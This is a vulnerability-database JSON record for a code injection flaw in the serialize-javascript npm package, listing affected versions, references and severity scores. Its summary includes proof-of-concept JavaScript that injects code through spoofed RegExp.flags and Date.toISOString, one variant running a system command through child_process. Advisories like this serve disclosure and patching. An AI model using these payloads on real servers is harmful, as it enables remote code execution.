{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22287?format=json","vulnerability_id":"VCID-4zkq-sw4a-e7c3","summary":"Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()\n### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","aliases":[{"alias":"GHSA-5c6j-r48x-rmvq"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/64878?format=json","purl":"pkg:npm/serialize-javascript@7.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3"}],"affected_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/197697?format=json","purl":"pkg:npm/serialize-javascript@1.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197698?format=json","purl":"pkg:npm/serialize-javascript@1.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.1.2"},{"url":"http://public2.vulnerablecode.io/api/packages/197699?format=json","purl":"pkg:npm/serialize-javascript@1.2.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.2.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197700?format=json","purl":"pkg:npm/serialize-javascript@1.3.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.3.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197701?format=json","purl":"pkg:npm/serialize-javascript@1.4.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.4.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197702?format=json","purl":"pkg:npm/serialize-javascript@1.5.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.5.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197703?format=json","purl":"pkg:npm/serialize-javascript@1.6.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197704?format=json","purl":"pkg:npm/serialize-javascript@1.6.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.1"},{"url":"http://public2.vulnerablecode.io/api/packages/197705?format=json","purl":"pkg:npm/serialize-javascript@1.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.7.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197706?format=json","purl":"pkg:npm/serialize-javascript@1.8.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.8.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197707?format=json","purl":"pkg:npm/serialize-javascript@1.9.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197708?format=json","purl":"pkg:npm/serialize-javascript@1.9.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.1"},{"url":"http://public2.vulnerablecode.io/api/packages/197709?format=json","purl":"pkg:npm/serialize-javascript@2.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/197710?format=json","purl":"pkg:npm/serialize-javascript@2.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3cbb-ghjz-fyhn"},{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/78824?format=json","purl":"pkg:npm/serialize-javascript@2.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1"},{"url":"http://public2.vulnerablecode.io/api/packages/207051?format=json","purl":"pkg:npm/serialize-javascript@2.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.2"},{"url":"http://public2.vulnerablecode.io/api/packages/207052?format=json","purl":"pkg:npm/serialize-javascript@3.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-k6ny-gfg9-8ugd"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/73177?format=json","purl":"pkg:npm/serialize-javascript@3.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/920058?format=json","purl":"pkg:npm/serialize-javascript@4.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@4.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/920059?format=json","purl":"pkg:npm/serialize-javascript@5.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/920060?format=json","purl":"pkg:npm/serialize-javascript@5.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/570069?format=json","purl":"pkg:npm/serialize-javascript@6.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-h8nr-tcb7-93em"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/747240?format=json","purl":"pkg:npm/serialize-javascript@6.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-h8nr-tcb7-93em"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/69521?format=json","purl":"pkg:npm/serialize-javascript@6.0.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.2"},{"url":"http://public2.vulnerablecode.io/api/packages/920061?format=json","purl":"pkg:npm/serialize-javascript@7.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/920062?format=json","purl":"pkg:npm/serialize-javascript@7.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/147413?format=json","purl":"pkg:npm/serialize-javascript@7.0.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4zkq-sw4a-e7c3"},{"vulnerability":"VCID-vn8z-q24d-57bu"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.2"}],"references":[{"reference_url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94"},{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"},{"reference_url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660"},{"reference_url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"GHSA-5c6j-r48x-rmvq","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq"}],"weaknesses":[{"cwe_id":96,"name":"Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","description":"The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template."},{"cwe_id":937,"name":"OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."},{"cwe_id":1035,"name":"OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."}],"exploits":[],"severity_range_score":"7.0 - 8.9","exploitability":"0.5","weighted_severity":"8.0","risk_score":4.0,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-4zkq-sw4a-e7c3"}